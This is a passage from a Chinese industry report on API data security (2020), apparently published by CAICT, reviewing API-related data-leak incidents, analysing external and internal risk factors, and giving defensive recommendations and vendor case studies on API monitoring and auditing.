JT/T 1049.2-2016 《道路运政管理信息系统第 2 部分:数 应用程序接口(API)数据安全蓝皮报告(2020 年) 10 据资源采集接口》 6 JT/T 1049.3-2016 《道路运政管理信息系统第 3 部分:数 据资源目录服务接口》 7 JT/T 979.1-2015 《道路客运联网售票系统 第 1 部分:服 务接口规范》 8 JT/T 785-2010 《道路运输管理与服务系统数据交换接 口》 来源:中国信息通信研究院 二、近年来 API 安全态势 API 在互联网时代向大数据时代快速过渡的浪潮中承担着连接 服务和传输数据的重任,在通信、金融、交通等诸多领域得到广泛 应用。API 技术已经渗透到了各个行业,涉及包含敏感信息、重要数 据在内的数据传输、操作,乃至各种业务策略的制定环节。伴随着 API 的广泛应用,传输交互数据量飞速增长,数据敏感程度不一,API 安全管理面临巨大压力。 近年来,国内外已发生多起由于 API 漏洞被恶意攻击或安全管 理疏漏导致的数据安全事件,对相关企业和用户权益造成严重损害, 逐渐引起各方关注。为此,部分企业已经积极采取改进 API 安全策 略、出台替代方案等防护措施,应对日益严峻的安全形势。 (一)Facebook 多起数据泄露事件与 API 有关 2018 年 9 月,黑客利用 Facebook 某 API 安全漏洞获取数百万用 应用程序接口(API)数据安全蓝皮报告(2020 年) 11 户信息。Facebook 提供“View As”功能允许开发者以用户身份查看 页面,由于相关 API 存在安全漏洞,造成大量用户访问口令(Access Token)泄露,并导致大量用户个人信息被不法分子窃取,近 5000 万用户受到影响。 2018 年 12 月,Facebook 再次曝出 API 漏洞导致用户个人信息 泄露事件,影响近 680 万用户及 1500 个使用该 API 的 App。该漏洞 允许第三方 App 访问用户 Facebook 账户内未公开的照片,App 还可 能利用该漏洞在用户访问中断或退出程序后获取用户设备缓存中的 数据。 2019 年 12 月,国外安全人员发现超过 2.67 亿条 Facebook ID、 电话号码和姓名等信息被储存在某公开数据库中。有研究显示,该 数据库中的数据可能通过某未知 API 接口抓取,并非来自用户公开 信息。Facebook 称将对这一事件展开调查。 (二)美国邮政服务 API 漏洞导致用户信息泄露 2018 年,国外研究人员发现美国邮政服务(USPS)API 漏洞可 能导致超过 6000 万用户个人信息被窃取。出现漏洞的“Informed Visibility”接口旨在为 USPS 旗下运输业务提供实时跟踪数据,但 由于未设置如限速限流在内的防护措施,使得这一 API 接口遭到不 法分子滥用。 (三)T-Mobile API 漏洞导致用户账号被窃取 2019 年 11 月,美国电信运营商 T-Mobile 曝出 Web 应用程序界 应用程序接口(API)数据安全蓝皮报告(2020 年) 12 面漏洞。不法分子通过该漏洞窃取了 T-Mobile 用户电子邮箱地址、 设备识别信息、安全问题答案等信息,进而利用非法获取的信息冒 充客户挂失手机 SIM 卡,接管受害者电话服务,并通过该手机号码 绑定的双重认证、账户恢复等功能非法访问或窃取用户账号。约 1500 万 T-Mobile 用户受到影响。 (四)Twitter 虚假账户利用 API 批量匹配用户信息 2019 年 12 月 24 日,Twitter 公司发现大量虚假账户非法调用 提供电话号码搜索用户功能的 API 接口。不法分子可利用这一接口 获取用户信息,进而开展钓鱼攻击、电话诈骗等违法活动。Twitter 于事件曝光后紧急修改该接口功能使相关查询无法返回具体的账户 名称。 (五)考拉征信非法出售 API 导致个人信息泄露 2019 年 11 月,拉卡拉支付旗下的考拉征信因非法缓存公民个人 信息、出售查询 API 遭警方调查。警方表示,经查考拉征信从上游 公司获取接口后又违规将查询接口卖出,并利用查询接口非法缓存 公民姓名、身份证号码和身份证照片等个人身份信息一亿多条,供 下游公司查询牟利,从而造成公民身份信息包括身份证照片的大量 泄露。案件发生后,警方已将考拉征信涉案人员抓获。 (六)新浪微博用户查询接口被恶意调用导致数据泄 露 应用程序接口(API)数据安全蓝皮报告(2020 年) 13 2020 年 3 月 19 日,媒体报道新浪微博因用户查询接口被恶意调 用导致 App 数据泄露。新浪微博方面称此次数据泄露可追溯至 2018 年末,有用户非法调用 App 用户查询接口,通过批量上传手机通讯 录匹配用户账号昵称,并结合其他渠道获取的信息进行出售。事件 曝光后,新浪微博表示将采取升级接口安全策略等措施,做好用户 个人信息保护工作。 (七)微信团队收回小程序"用户实名信息授权"接口 2020 年 3 月 31 日,腾讯微信团队在“微信开放社区”发布《关 于收回小程序"用户实名信息授权"接口的相关说明》,称为进一步 提升用户使用的安全体验,将于 2020 年 5 月 31 日收回小程序“用 户实名信息授权”接口,并停止了该接口的申请和接入。微信方要 求无相关业务场景或需求的小程序停止使用该接口,并向仍有用户 实名认证需求的小程序提供“实名信息校验接口”作为替代方案。 三、安全风险分析 (一)外部威胁因素 从近年API安全态势可以看出,API技术被应用于各种复杂环境, 其背后的数据一方面为企业带来商机与便利,另一方面也为数据安 全保障工作带来巨大压力。特别在开放场景下,API 的应用、部署面 向个人、企业、组织机构等不同用户主体,面临着外部用户群体庞 大、性质复杂、需求不一等诸多挑战,需时刻警惕外部安全威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 14 1.API 漏洞导致数据被非法获取 在 API 的开发、部署过程中不可避免产生安全漏洞,这些漏洞 通常存在于通信协议、请求方式、请求参数和响应参数等环节。不 法分子可能利用 API 漏洞(如缺少身份认证、水平越权漏洞、垂直 越权漏洞等)窃取用户信息、企业核心数据。例如在开发过程中使 用非 POST 请求方式、Cookie 传输密码等操作登录接口,存在 API 鉴 权信息暴露风险,可能使得 API 数据被非法调用或导致数据泄露。 2.API 成为外部网络攻击的重要目标 API 是信息系统与外部交互的主要渠道,也是外部网络攻击的主 要对象之一。针对 API 的常见网络攻击包括重放攻击、DDoS 攻击、 注入攻击、会话 cookie 篡改、中间人攻击、内容篡改、参数篡改等。 通过上述攻击,不法分子不仅可以达到消耗系统资源、中断服务的 目的,还可以通过逆向工程,掌握 API 应用、部署情况,并监听未 加密数据传输,窃取企业数据。 3.网络爬虫通过 API 爬取大量数据 网络爬虫能够在短时间内爬取目标应用上的所有数据,常表现 为某时间段内高频率、大批量进行数据访问,具有爬取效率高、获 取数据量大等特点。通过开放 API 对 HTML 进行抓取是网络爬虫最简 单直接的实现方式之一,不法分子通常采用假 UA 头和假 IP 隐藏身 份,一但获取企业内部账户,可能利用网络爬虫获取该账号权限内 的所有数据。如果存在水平越权和垂直越权等漏洞,在缺少有效的 应用程序接口(API)数据安全蓝皮报告(2020 年) 15 权限管理机制情况,不法分子可以通过掌握的参数特征构造请求参 数进行遍历,导致数据被全量泄露。此外,移动应用软件客户端数 据多以 JSON 形式传输,解析更加简单,反爬虫能力更弱,更易受到 网络爬虫威胁。 4.合作第三方非法留存接口数据 企业通过 API 实现与合作第三方之间数据交互的过程中,可能 存在合作方恶意留存接口数据的风险。以个人身份验证类合作为例, 在需要进行实名验证的时候,合作方可通过 API 请求调用相关个人 身份信息。正常情况下,服务器获取请求后在后端进行验证并返回 结果,此过程中恶意合作方可能留存验证结果,经过长时间积累, 非法变相获取大量的个人身份信息资源,对企业数据库形成事实上 的拖库。 5.API 请求参数易被非法篡改 不法分子可通过篡改 API 请求参数,结合其它信息匹配映射关 系,达到窃取数据的目的。以实名身份验证过程为例,用户端上传 身份证照片后,身份识别 API 提取信息并输出姓名和身份证号码, 再传输至公安机关相应 API 进行核验,并输出认证结果。此过程中, 不法分子可通过修改身份识别 API 请求参数中的姓名、身份证号码 组合,通过遍历的方式获取姓名与身份证号码的正确组合。可被篡 改的 API 参数通常有姓名、身份证号码、账号、员工 ID 等。此外, 企业中员工 ID 与职级划分通常有一定关联性,可与员工其它信息形 应用程序接口(API)数据安全蓝皮报告(2020 年) 16 成映射关系,为 API 参数篡改留有可乘之机。 (二)内部脆弱性因素 应对外部威胁的同时,API 也面临许多来自内部的风险挑战。一 方面,传统安全通常是通过部署防火墙、WAF、IPS 等安全产品,将 组织内部与外部相隔离,达到纵深防御的目的,但是这种安全防护 模式建立在威胁均来自于组织外部的假设前提上,无法解决内部隐 患。另一方面,API 类型和数量随着业务发展而扩张,通常在设计初 期未进行整体规划,缺乏统一规范,尚未形成体系化的安全管理机 制。因此,从内部脆弱性来看,影响 API 安全的因素主要包括以下 几方面。 1.身份认证机制 身份认证是保障 API 数据安全第一道防线。一方面,若企业将 未设置身份认证的内网 API 接口或端口开放到公网,可能导致数据 被未授权访问、调用、篡改、下载。不同于门户网站等可以公开披 露的数据,部分未设置身份认证机制的接口背后涉及企业核心数据, 暴露与公开易引发严重安全事件。另一方面,身份认证机制可能存 在单因素认证、无口令强度要求、密码明文传输等安全隐患。在单 因素身份验证的前提下,如果口令强度不足,身份认证机制将面临 暴力破解、撞库、钓鱼、社会工程学攻击等威胁。如果未对口令进 行加密,不法分子则可能通过中间人攻击获取接口认证信息。 应用程序接口(API)数据安全蓝皮报告(2020 年) 17 2.访问授权机制 访问授权机制是保障 API 数据安全的第二道防线。用户通过身 份认证即可进入访问授权环节,此环节决定用户是否有权调用该接 口进行数据访问。系统在识别用户之后,会根据权限控制表或权限 控制矩阵判断该用户的数据操作权限。常见的访问权限控制策略有 三种,基于角色的授权(Role-Based Access Control)、基于属性 的授权(Attribute-Based Access Control)以及基于访问控制表 授权(Access Control List)。访问授权机制风险通常表现为用户 权限大于其实际所需权限,从而该用户可以接触到本无权访问的数 据。导致这一风险的常见因素包括授权策略选择不恰当、授权有效 期过长、未及时收回权限等。 3.数据脱敏策略 除了为不同的业务需求方提供数据传输以外,为前端界面展示 提供数据支持也是 API 的重要功能之一。API 数据脱敏策略通常可分 为前端脱敏和后端脱敏。前者指数据被 API 传输至前端后再进行脱 敏处理;后者则相反,API 在后端完成脱敏处理,再将已脱敏数据传 输至前端。如果未在后端对个人敏感信息等数据进行脱敏处理,且 未加密传输,一旦流量被截获、破解,将对企业、公民个人权益造 成严重影响。此外,未脱敏数据在传输至前端时,如被接收方终端 缓存,也可能导致敏感数据暴露。而脱敏策略不统一可能导致相同 数据脱敏部分不同,不法分子可通过拼接方式获取原始数据,造成 应用程序接口(API)数据安全蓝皮报告(2020 年) 18 脱敏失效。 4.返回数据筛选机制 如果 API 缺乏有效的返回数据筛选机制,可能由于返回数据类 型过多、数据量过大等因素形成安全隐患。首先,部分 API 设计初 期未根据业务进行合理细分,未建立单一、定制化接口,使得接口 臃肿、数据暴露面过大。其次,在安全规范欠缺和安全需求不明确 的情况下,API 开发人员可能以提升速度为目的,在设计过程中忽视 后端服务器返回数据的筛选策略,导致查询接口会返回符合条件的 多个数据类型,大量数据通过接口传输至前端并进行缓存。如果仅 依赖于前端进行数据筛选,不法分子可能通过调取前端缓存获取大 量未经筛选的数据。 5.异常行为监测 异常访问行为通常指非工作时间访问、访问频次超出需要、大 量敏感信息数据下载等非正常访问行为。即使建立了身份认证、访 问授权、敏感数据保护等机制,有时仍无法避免拥有权限的用户进 行数据非法查询、修改、下载等操作,此类访问行为往往未超出账 号权限,易被管理者忽视。异常访问行为通常与可接触敏感数据岗 位或者高权限岗位密切相关。如负责管理客户信息的员工可能通过 接口获取用户隐私信息出售谋利;即将离职的高层管理人员可能将 大量公司机密和敏感信息带到下一家公司,以在商业竞争中占据优 势等。美国执法机构和网络安全监管机构调查结果显示超过 85%的安 应用程序接口(API)数据安全蓝皮报告(2020 年) 19 全威胁来自企业内部,企业必须高度重视可能由内部人员引发的数 据安全威胁。 6.特权账号管理 从数据使用的角度来说,特权账号指系统内具有敏感数据读写 权限等高级权限的账号,涉及操作系统、应用软件、企业自研系统、 网络设备、安全系统、日常运维等诸多方面,常见的特权账号有 admin、 root、export 账号等。除企业内部运维管理人员外,外包的第三方 管理人员、临时获得权限的设备原厂工程人员等也可能使用特权账 号。多数特权账号可通过 API 进行访问,有心者可能以特权账号非 法查看、篡改、下载企业数据。此外,部分企业出于提升开发运维 速度的考虑会在团队内共享账号,并允许不同的开发运维人员从各 自终端登陆并操作,一旦发生数据安全事件,难以快速定位责任主 体。 7.第三方管理 当前,需要共享业务数据的应用场景日益扩展,第三方调用 API 访问企业数据完成业务工作的同时,也成为了企业的安全短板。尤 其对于涉及个人敏感信息或重要数据的 API,如果企业忽视对第三方 进行风险评估和有效管理、缺少对其数据安全防护能力的审核,一 旦第三方存在安全隐患或不法企图,可能发生数据被篡改、泄露、 甚至非法贩卖等安全事件,对企业数据安全、社会形象乃至经济利 益造成影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 20 四、安全建议 API 安全是当今时代数据安全保护的重要一环。企业应在把握自 身现状的基础上梳理 API 相关安全风险,建立健全 API 安全管理制 度,针对事前、事中和事后各阶段管理和技术需求差异,部署相应 安全措施,加强数据安全风险防范。 (一)事前 1.统一 API 设计开发规范,减少安全隐患 缺乏统一规范、开发维护不当导致的安全漏洞等脆弱性因素可 能为 API 带来严重安全隐患。建议企业建立健全 API 设计、开发、 测试等环节标准规范和管理制度,引导 API 开发运维流程标准化, 提高对 API 安全的重视程度,将相关要求以制度规程等形式进行沉 淀、落实,避免遗留严重安全漏洞、恶性 bug 等脆弱性因素,威胁 接口安全。 2.强化 API 上线、变更、下线环节实时监控,确保全生 命周期安全 API 全生命周期包括 API 上线、变更和下线三个环节。企业应对 自身 API 部署情况进行全面排查,梳理统计 API 类型、活跃接口数 量、失活接口数量等资产现状,针对 API 上线、运行中变更、失活 后下线等环节进行实时监控。企业应在新 API 上线前进行风险评估, 发现问题暂停上线并及时调整,确保上线 API 安全性;上线后应对 应用程序接口(API)数据安全蓝皮报告(2020 年) 21 其运行情况进行实时监控,发现接口运行异常、恶意调用等情况及 时采取防护措施,修复相应问题;若 API 不再使用,企业应遵循下 线流程及时进行处理,防止失活 API 持续在线,成为安全隐患。 3.完善 API 身份认证和授权管理机制,强化接口接入安 全审核 企业应针对除信息公开披露场景以外的 API 建立有效的身份认 证机制,对现有身份认证机制密码强度、双因素认证、密码更新等 安全要素进行评估,健全身份认证机制;在建立有效的身份认证基 础上,建立健全访问授权机制,严格遵循最小必要权限原则,尤其 针对提供数据增、删、改等高危操作的 API,严格规范用户权限管理; 对涉及敏感信息、重要数据的 API 加强接入方资质和数据安全防护 能力审核,规范合作要求,避免因接入方原因导致数据安全事件。 4.健全 API 安全防护体系,提升抵御外部威胁能力 企业应加强 API 安全防护能力建设,针对重要接口部署专门的 防护设备保障其安全,建立健全安全防护体系。具体措施包括但不 限于部署 API 网关统一接口管理;利用 VPN 等加密通道传输数据; 部署应用防护系统保护 Web 应用;建立 API 访问白名单机制;部署 抗 DDoS 工具等。从而提升企业 API 抵御外部威胁的能力,降低数据 安全事件发生几率。 应用程序接口(API)数据安全蓝皮报告(2020 年) 22 5.加大 API 安全保护宣传力度,提高员工安全意识 企业应加大对 API 安全保护的宣传力度,缩小各部门之间对 API 安全重视程度差异,提高员工特别是 API 开发运维人员的安全意识, 进一步提高企业整体数据安全认识。推动 API 保护相关机制、技术 手段落地,避免因 API 安全管理疏漏等内部因素导致数据泄露、丢 失、损毁等安全事件,对企业业务发展、社会形象造成负面影响。 (二)事中 1.加强 API 身份认证实时监控能力建设 企业应加强 API 身份认证实时监控能力建设,重点监控高频登 录尝试、空 Referer、非浏览器 UA 头登录等具有典型机器行为特征 的操作,对异常登录、调用行为进行分析,发现恶意行为及时告警。 此外,企业应实时监控接口运行中的单因素认证、弱密码、密码明 文传输等脆弱性问题,建立账号登录行为画像,形成用户常规登录 特征基线,对不同 IP 登录、连续认证失败、境外 IP 访问等敏感操 作进行监测分析,发现账号共享、借用、兼任等违规行为及时对相 关账号操作进行限制、阻断,避免安全事件的发生或扩大。 2.加强异常行为实时监测预警能力建设 企业应加强异常访问行为监测能力建设,针对短时间内大量获 取敏感数据、访问频次异常、非工作时间获取敏感数据、敏感数据 外发等异常调用、异常访问行为进行实时监测分析,根据自身业务 应用程序接口(API)数据安全蓝皮报告(2020 年) 23 情况建立正常行为基线,防范内部违规获取数据、外部攻击或网络 爬虫等数据安全风险。此外,由于内部特权账号权限远超普通用户 账户,企业应针对此类账号建立实时行为监测和审计机制,对账号 异常、高危操作进行严格管控,建立精准、细化的特权账号行为基 线,及时对特权账号异常行为进行预警,并定期进行特权帐号安全 审计。 3.加强数据分类分级管控能力建设 企业应梳理 API 数据类型,落实数据分类分级管控措施,针对 API 涉及的敏感数据按照统一策略进行后端脱敏处理,并结合数据加 密、传输通道加密等方式保护 API 数据传输安全。企业应严格落实 敏感数据保护策略,部署敏感数据监测工具,及时发现未脱敏展示、 前台脱敏等现象,并对接口流量进行分析,杜绝敏感数据明文传输 等违规行为。企业应评估涉及敏感数据的 API 参数设置情况,重点 关注接口单次返回数据量过多、返回数据类型过多等情况,建立后 端数据量、数据类型筛查机制,确保敏感数据暴露可知、可控、可 追溯。 4.加强 API 数据流向监控能力建设 企业应建立 API 数据流量监测机制,实时监控数据流向,加强 数据流向监控能力建设。通过分析访问和被访问 IP 的局域、地域或 法域,实现对数据流向的实时监控,防范数据接收方非法出售或滥 用个人信息风险,发现相关违法违规事件及时阻断 API 接入,为后 应用程序接口(API)数据安全蓝皮报告(2020 年) 24 续溯源调查积极存证。此外,企业应对境外 IP 访问内网 API 或者内 部 IP 访问境外 API 的情况重点关注、及时预警,确保敏感数据出境 活动合法合规。 (三)事后 1.建立健全应急响应机制 当前 API 应用广泛,业务逻辑复杂,涉及数据量大,一旦发生 安全事件,可能给企业、用户带来严重影响。企业应严格落实《网 络安全法》《电信和互联网用户个人信息保护规定》(工信部第 24 号令)等法律法规要求,出现数据泄露等严重安全事件及时告知相 关用户并上报电信主管部门,制定 API 安全事件应急响应预案并纳 入企业现有应急管理体系,应急流程包括但不限于监测预警及报告、 数据泄露事件处置、危机处理及信息披露等环节。 2.建立健全日志审计机制 API 数据安全审计可以帮助企业有效识别具体的高危访问行为, 为企业 API 安全提供有力帮助。建议企业对接口访问、数据调用等 操作进行完整日志记录,并定期开展安全审计,对 API 安全进行回 顾,结合旁路 API 流量捕获等技术手段,对传输协议等安全要点进 行分析还原,识别 API 漏洞、异常调用、外部攻击等安全风险。同 时,建议企业根据安全审计结果编制审计报告,跟踪审计意见的后 续落实,并依据相关监管要求妥善保存日志信息等,为安全事件追 应用程序接口(API)数据安全蓝皮报告(2020 年) 25 溯提供依据。 3.建立健全数据泄露溯源追责机制 企业应建立健全数据泄露溯源追责机制,制定 API 相关安全事 件溯源方案,发生安全事件后及时追踪数据泄露途径、类型、规模、 原因,分析根本原因,提取有效证据。结合审计机制进行事件溯源, 在确定责任主体后,严肃问责。API 数据泄露溯源机制可分为线索溯 源和主体溯源,线索溯源以泄露数据内容为线索,在系统中进行回 溯,提取 API 日志中的相关记录进行分析,确实责任人和泄露路径; 主体溯源根据账号、接口信息等访问特征线索在日志流量信息中进 行筛选,分析匹配特征,追溯事件源头。由于传统人工溯源费时费 力,溯源结果准确度有限,建议企业结合自身需求部署自动化溯源 工具,提升溯源效率,为企业 API 安全管理提供助力。 应用程序接口(API)数据安全蓝皮报告(2020 年) 26 五、附录 (一)全知科技 API 安全实践 1.开放 API 安全实践 (1)场景简介 开放 API 将接口开放到公网,为不同用户、产品提供数据操作、 传输渠道。开放 API 可分为两类,一类通过网页交互即可调用后端 API 进行数据查询,例如企业门户网站;一类仅对注册用户开放,需 用户主动注册后才可调用,例如政务开放平台数据调用接口。此类 API 主要具有两大特点。一是接口对社会公众开放。只要获知 URL 链 接,任何人都可以对 API 进行访问,而调用 API 接口即代表着调用 API 背后不同的业务功能,获取不同的服务数据。二是 API 参数由数 据提供方进行定义。全面开放的 API 通常无法满足所有用户的访问 需求,为了业务的正常开展,通常需进行标准化的接口定制。 (2)安全方案 企业应全面梳理其开放 API 现状,了解开放 API 数量、性质、 活跃程度,确保没有内网接口开放到外网的情况,并关注活跃 API 数据调用情况是否存在异常,及时下线失活 API。 在此基础上,企业可采用多种技术手段保护 API 安全,降低安 全风险。一是对 API 进行生命周期监控,二是健全账号认证机制和 授权机制,三是实时监控 API 账号登录异常情况,四是执行敏感数 应用程序接口(API)数据安全蓝皮报告(2020 年) 27 据保护策略,五是建立接口防爬虫防泄漏保护机制。 来源:全知科技(杭州)有限责任公司 API 生命周期监控:企业需实时监控新 API 上线、API 在运行过 程中变更,API 失活后正确下线情况,并在新 API 上线前对其进行风 险评估,对通信协议、路径、请求方式、请求参数、响应参数等要 素中的潜在安全漏洞进行排查,发现可能被攻击导致数据泄露的安 全漏洞,应及进行调整,确保上线前的安全性和可靠性。API 上线后, 企业则需实时监控其运行状态,发现风险应及时修正后再重新上线。 若 API 由于业务更迭等情况不再使用,企业应按照正确流程对其进 行下线。 健全认证授权机制:首先,企业需排查缺少身份认证的高危开 放 API,并对其建立身份认证机制。其次,企业应采取强密码、双因 素认证等方式增强身份认证机制。此外,在身份认证的基础上,企 业应建立健全授权机制,对用户账号授予所需最小权限,尤其注意 应用程序接口(API)数据安全蓝皮报告(2020 年) 28 增、删、改等高危操作,如无必要,不授予系统管理员 admin 或 export 等高级权限。建立健全认证授权机制一方面可以确保数据调用方为 真实用户而非网络爬虫,另一方面可以保证用户访问记录可追溯。 登录异常行为监控:企业应建立 API 异常登陆实时监控机制, 监测账号异常登陆情况并及时预警。账号异常登录情况可能由账号 暴力破解、撞库、单因素认证等登录系统脆弱性导致。登陆异常情 况监控机制可对接口登陆方式、IP 登陆失败频率、失败原因等进行 分析,发现异常情况及时预警。 敏感数据保护策略:企业应对开放 API 涉及的敏感数据进行梳 理,在分类分级后按照相应策略进行脱敏展示,所有敏感数据脱敏 均在后端完成,杜绝前端脱敏。此外敏感数据需通过加密通道进行 传输,防止传输过程中的数据泄露。以金融类系统为例,客户端应 用软件、银行卡受理设备、自助终端设备等界面展示的个人金融信 息需进行脱敏处理,确保登陆系统前不展示敏感信息。在此基础上, 企业应部署敏感数据监测工具,实时监测前端界面是否存在敏感数 据明文显示,以及通过流量分析检测是否存在敏感数据明文传输, 验证是否有效执行敏感数据保护策略。 部署防爬虫、防泄漏保护机制:企业应部署接口防爬虫、防泄 漏保护机制,分析用户访问行为特征,辨别该访问是真实用户行为 还是机器行为,并根据网络爬虫特征制定监控策略,部署工具进行 实时监控预警,发现潜在数据泄露事件及时触发熔断机制,阻断网 络爬虫行为对 API 数据安全的威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 29 2.面向合作方 API 安全实践 (1)场景简介 商业生态系统的建立涉及企业与顾客、市场媒介、供应商等各 方的合作互动,面向合作方 API 被广泛用于合作方之间的数据交互 共享。此类 API 主要具有 3 大特点。一是数据交换类型多。通过此 类 API 进行数据交换的多为企业合作伙伴,包括但不限于资源供应 商和服务提供商。二是数据交换参与方数量少。开放 API 用户一般 以个人居多,组织较少,而面向合作方的 API 调用则以组织居多, 个人较少。三是接口定义需双方协商。此类 API 需在满足业务要求 的前提下根据双方要求进行自定义,往往需预留等多种接口以满足 业务需求。 (2)安全方案 企业应建立完善的供应商接口管理制度,包括准入制度、授权 管理制度和退出制度等,约束企业与合作方间的合作,从源头上对 合作方 API 进行把控,预防数据安全风险。在合作结束后,企业应 及时下线相关接口,并按照合作协议要求,进行数据留存审计,确 保合作方完成数据删除和销毁。 此外,企业还可通过部署相关技术手段保护面向合作方的 API 安全。一是部署敏感数据保护策略,二是建立账号异常行为监测机 制,三是部署自动化审计与溯源工具。 应用程序接口(API)数据安全蓝皮报告(2020 年) 30 来源:全知科技(杭州)有限责任公司 敏感数据保护策略:企业应对数据交换过程中涉及的敏感数据 制定保护策略,并通过脱敏、匿名化、去标识化、数据加密、传输 通道加密等方式对敏感数据加以保护。同时,组织机构还可以选择 VPN 传输、专线传输等安全性更高的安全防护手段,保护 API 接口数 据安全。 账号异常行为监测:企业应建立账号异常行为风险监测机制, 根据业务实际情况制定监控策略,实时监控合作方账号操作行为, 一旦监测发现存在越权操作、非工作时间访问、非工作时间大量获 取数据等情况,及时预警,降低数据安全事件风险。 自动化审计与溯源:企业与合作方之间通过 API 进行数据分享 频繁,流动数据量大。一方面企业应通过系统日志准确记录和保存 接口数据共享的情况,定期审计,及时发现数据交换中存在的风险。 另一方面企业应部署自动化审计和溯源工具,对安全事件快速溯源、 精准定位,防止数据泄露,保护企业数据安全。 应用程序接口(API)数据安全蓝皮报告(2020 年) 31 3.内部 API 安全实践 (1)场景简介 除了开放到公网、面向合作方的 API 之外,企业内部的应用系 统通常也会通过内部 API 进行数据访问。此类 API 主要有 3 大特点。 一是众多应用系统衍生大量接口。企业内部存在众多应用系统,根 据业务功能的划分和用户群体的不同可能会衍生出诸多内部 API 接 口。二是接口调用群体庞杂。企业内部员工因所处的部门和层级不 同,存在不同业务需求和权限,造成 API 调用群体庞杂,为安全管 理带来一定挑战。三是接口参数由企业根据自身需求进行定义。企 业内部可能存在多种 API,需要根据内部人员对于业务功能的需求分 别进行定义。 (2)安全方案 与开放 API 接口一样,企业应梳理内部 API 现状,围绕内部 API 生命周期建立有效管理机制。内部 API 接口可能随内部业务频繁迭 代,企业也会引入新的系统或设备到内部网络,此时需额外关注内 部 API 的安全要求。此外,企业还应部署或强化相应技术手段对内 部 API 接口进行保护。一是 API 生命周期实时监控,二是加强身份 验证机制,三是建立敏感信息展示监测预警机制,四是建立账号风 险监测机制,五是数据行为威胁实时监控,六是敏感数据大量暴露 监测,七是特权账号行为实时监测和审计机制,八是自动化数据泄 露溯源追责。 应用程序接口(API)数据安全蓝皮报告(2020 年) 32 来源:全知科技(杭州)有限责任公司 API 生命周期实时监控:企业应在掌握内部接口现状的基础上, 在新 API 上线前进行安全评估,严格内部 API 接口变更管理,对失 活接口及时处理。接口现状发生改变应及时发布预警,并及时响应 和处理。 身份验证机制:身份认证是企业数据安全的第一道防线,企业 应从安全需求、成本和系统兼容性等方面进行综合考虑,选择如双 因素认证、强密码口令、生物识别信息等认证措施,完善内部 API 身份验证机制。 敏感信息展示监测预警机制:企业应在确保脱敏策略一致的基 础上,建立敏感信息明文展示监测预警机制,对内部 API 调用流量 进行实时监控,一旦监测到明文传输敏感信息、或者明文展示敏感 应用程序接口(API)数据安全蓝皮报告(2020 年) 33 信息的时候,及时进行预警。 账号风险监测机制:企业应建立账号风险监测机制。一方面, 监测是否存在单因素认证、弱密码、密码明文传输等脆弱性;另一 方面,建立账号登陆行为画像,总结用户常规登陆模式,发现账号 共享、借用、兼任等情况及时预警,并进一步排查。此外,账号风 险监测机制还可侦测境外 IP 访问内部 API 接口的情况,减少企业数 据出境的安全风险。 数据行为威胁实时监控:内部 API 可能存在水平越权、垂直越 权、账号滥用等风险,因此,企业应根据自身情况建立正常行为基 线,对短时间内大量获取敏感数据、访问频次异常、非工作时间访 问、敏感数据外发等异常行为进行监测,并防范网络爬虫等大量机 器拉取内部数据。 敏感数据大量暴露监测:企业应监测 API 接口单次返回敏感数 据量、敏感数据类型等情况,发现异常及时对接口进行改进。 特权账号行为监测和审计:企业应建立并严格执行特权账号行 为监测和审计机制,精确、细化特权账号行为基线。 自动化数据泄露溯源追责:通过线索溯源或者主体溯源模式进 行溯源追责,明确数据泄露途径、数据泄露类型、数据泄露规模和 数据泄露原因,并对源头责任人和可疑犯罪人进行锁定,及时缩小 犯罪嫌疑人范围,减少因数据泄露给企业、个人和社会造成的负面 影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 34 (二)观安 API 安全实践 1.安全方案 观安 API 数据安全检测方案通过对数据接口、虚拟网络边界接 口进行实时监控和分析,实现应用系统之间数据访问、传输、流转 及敏感数据检测,利用大数据分析技术构建数据接口活动轨迹、访 问操作画像,智能化判断业务系统、企业内外部数据接口之间的数 据流量异常、数据访问操作异常、数据接口调用异常等安全风险, 及时对数据接口异常事件进行预警,为应用系统业务数据安全流转、 调用、传输等操作访问行为提供数据安全保障。 来源:上海观安信息技术股份有限公司 一是梳理接口敏感级别,制定分级策略。梳理并发现应用系统 中涉及敏感数据流转的接口以及敏感数据暴露面,根据敏感数据类 型对应用系统接口进行敏感等级划分,针对不同敏感级别的接口制 定差异化访问控制策略。 二是建立深度分析系统,实现多维度风险评估。建立深度分析 系统,对数据接口异常流量、用户异常操作行为、异常调用等进行 实时监控、异常预警和集中的风险展示。对敏感数据访问接口进行 应用程序接口(API)数据安全蓝皮报告(2020 年) 35 多维度的脆弱性评估及风险识别,包括但不限于数据账号风险、数 据权限风险、数据操作风险、数据流向风险、数据暴露面风险、数 据脱敏风险等。 三是描绘行为轨迹,实现流动监控。基于流量数据识别应用系 统中的接口和用户账号信息,还原并记录用户的数据访问行为;对 业务系统账号信息的数据访问行为进行审计,从用户账户、接口、 数据访问和返回情况,完整描绘数据在应用系统中流转的地图,实 现对数据流动细节的监控。 2.技术手段 协议解析:通过获取网络中系统的数据包,并将其进行协议解 析,生成基础数据,识别的协议包括但不限于当前主流的系统访问 及接口协议。通过抓取的流量数据可对数据流动使用过程进行审计 操作,保证 API 内的数据流转安全性。 来源:上海观安信息技术股份有限公司 数据分类分级:分类分级定位到的数据标签信息、位置信息可 应用程序接口(API)数据安全蓝皮报告(2020 年) 36 以赋能到安全风险识别,结合流量数据准确实时的输出安全风险告 警,保障数据生命周期内的流动安全。同时分类分级可为 API 敏感 级别划分提供支撑,依据分类分级清单实现数据价值划分,为数据 差异化管控提供依据。 敏感数据识别:根据敏感级别划分,动态制定敏感数据识别规 则,通过规则分析自动识别未脱敏数据。 API 全盘发现:识别并建立 API 清单,对 API 进行可视化展现, 发现 API 漏洞。  通过手动定义或 API 文件,建立 API 清单;  通过日志或流量分析,发现 API 清单未覆盖的请求;  对 API 活动做可视化展现;  结合威胁情报库,发现有漏洞的 API 应用服务器。 来源:上海观安信息技术股份有限公司 API 可视化管控:登记汇总各系统中注册,添加、登记的接口服 务,实现对系统接口的汇总管理和可视化展示。 API 安全检测:API 安全检测是系统交互的屏障和保护伞,在接 应用程序接口(API)数据安全蓝皮报告(2020 年) 37 口具体的使用过程中,通过提前预设告警规则、防御规则,记录非 法操作、异常攻击等行为,匹配规则,实现防御阻断、告警,提高 单个系统接口服务的有效性及保证整个生态系统的安全性、稳定性, 为企业提供多重保障。 